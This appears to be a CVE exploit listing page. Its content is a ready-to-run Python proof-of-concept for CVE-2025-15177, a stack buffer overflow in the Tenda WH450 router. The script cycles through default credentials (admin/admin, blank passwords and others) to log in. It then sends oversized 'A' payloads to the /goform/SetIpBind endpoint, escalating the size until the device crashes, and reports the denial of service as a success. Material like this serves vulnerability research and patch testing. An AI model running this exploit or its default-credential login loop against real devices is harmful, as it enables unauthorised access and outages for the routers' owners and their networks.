4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import sys
import time
import argparse
import requests
from typing import Optional, Tuple, List
from dataclasses import dataclass
from enum import Enum
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


class ExploitResult(Enum):
    SUCCESS = "success"
    TARGET_DOWN = "target_down"
    TARGET_ALIVE = "target_alive"
    AUTH_FAILED = "auth_failed"
    ERROR = "error"


@dataclass
class TargetConfig:
    base_url: str
    timeout: int = 10
    verify_ssl: bool = False


@dataclass
class Credentials:
    username: str = ""
    password: str = ""


class TendaWH450Exploit:
    
    DEFAULT_CREDENTIALS: List[Tuple[str, str]] = [
        ("", ""),
        ("admin", "admin"),
        ("admin", ""),
        ("user", "user"),
    ]
    
    VULNERABLE_ENDPOINT = "/goform/SetIpBind"
    AUTH_ENDPOINT = "/login/Auth"
    
    def __init__(self, config: TargetConfig):
        self.config = config
        self.session = requests.Session()
        self.authenticated = False
    
    def _normalize_url(self, url: str) -> str:
        url = url.rstrip("/")
        if not url.startswith("http"):
            url = f"http://{url}"
        return url
    
    def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]:
        url = f"{self.config.base_url}{endpoint}"
        kwargs.setdefault("timeout", self.config.timeout)
        kwargs.setdefault("verify", self.config.verify_ssl)
        kwargs.setdefault("allow_redirects", True)
        
        try:
            return self.session.request(method, url, **kwargs)
        except requests.exceptions.RequestException:
            return None
    
    def check_alive(self) -> bool:
        response = self._request("GET", "/")
        return response is not None and response.status_code == 200
    
    def authenticate(self, creds: Credentials) -> bool:
        data = {"username": creds.username, "password": creds.password}
        response = self._request("POST", self.AUTH_ENDPOINT, data=data)
        
        if response is None:
            return False
        
        if response.status_code == 200:
            if "index" in response.url.lower() or "main" in response.text.lower():
                self.authenticated = True
                return True
        
        return False
    
    def authenticate_with_defaults(self) -> bool:
        for username, password in self.DEFAULT_CREDENTIALS:
            if self.authenticate(Credentials(username, password)):
                return True
        return False
    
    def trigger_overflow(self, payload_size: int) -> ExploitResult:
        if not self.authenticated:
            return ExploitResult.AUTH_FAILED
        
        overflow_data = "A" * payload_size
        
        params = {
            "page": overflow_data,
            "op": "no",
            "check": "1",
            "default_mode": "1"
        }
        
        try:
            self._request("GET", self.VULNERABLE_ENDPOINT, params=params)
        except Exception:
            pass
        
        time.sleep(3)
        
        if not self.check_alive():
            return ExploitResult.TARGET_DOWN
        
        return ExploitResult.TARGET_ALIVE
    
    def execute(self, payload_sizes: List[int]) -> ExploitResult:
        if not self.check_alive():
            return ExploitResult.ERROR
        
        if not self.authenticate_with_defaults():
            return ExploitResult.AUTH_FAILED
        
        for size in payload_sizes:
            result = self.trigger_overflow(size)
            if result == ExploitResult.TARGET_DOWN:
                return ExploitResult.SUCCESS
            time.sleep(2)
        
        return ExploitResult.TARGET_ALIVE


def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="CVE-2025-15177: Tenda WH450 V1.0.0.18 Stack Buffer Overflow",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument("target", help="Target IP or URL")
    parser.add_argument("-s", "--size", type=int, default=240, help="Initial payload size")
    parser.add_argument("-u", "--username", default="", help="Authentication username")
    parser.add_argument("-p", "--password", default="", help="Authentication password")
    parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout")
    parser.add_argument("--escalate", action="store_true", help="Try escalating payload sizes")
    
    return parser.parse_args()


def main() -> int:
    args = parse_arguments()
    
    config = TargetConfig(
        base_url=args.target.rstrip("/") if args.target.startswith("http") else f"http://{args.target}",
        timeout=args.timeout
    )
    
    exploit = TendaWH450Exploit(config)
    
    print(f"\n[*] Target: {config.base_url}")
    print(f"[*] CVE-2025-15177: Tenda WH450 SetIpBind Buffer Overflow\n")
    
    if not exploit.check_alive():
        print("[-] Target is not reachable")
        return 1
    
    print("[+] Target is alive")
    
    if args.username or args.password:
        if not exploit.authenticate(Credentials(args.username, args.password)):
            print("[-] Authentication failed with provided credentials")
            return 1
        print("[+] Authenticated with provided credentials")
    else:
        if not exploit.authenticate_with_defaults():
            print("[-] Authentication failed with all default credentials")
            return 1
        print("[+] Authenticated with default credentials")
    
    payload_sizes = [args.size]
    if args.escalate:
        payload_sizes = [args.size, args.size + 100, 500, 1000, 2000]
    
    print(f"[*] Sending overflow payload(s): {payload_sizes}")
    
    result = exploit.execute(payload_sizes)
    
    if result == ExploitResult.SUCCESS:
        print("\n[!] TARGET CRASHED - DoS successful")
        return 0
    elif result == ExploitResult.TARGET_ALIVE:
        print("\n[?] Target still responsive - try larger payloads with --escalate")
        return 2
    else:
        print(f"\n[-] Exploit failed: {result.value}")
        return 1


if __name__ == "__main__":
    sys.exit(main())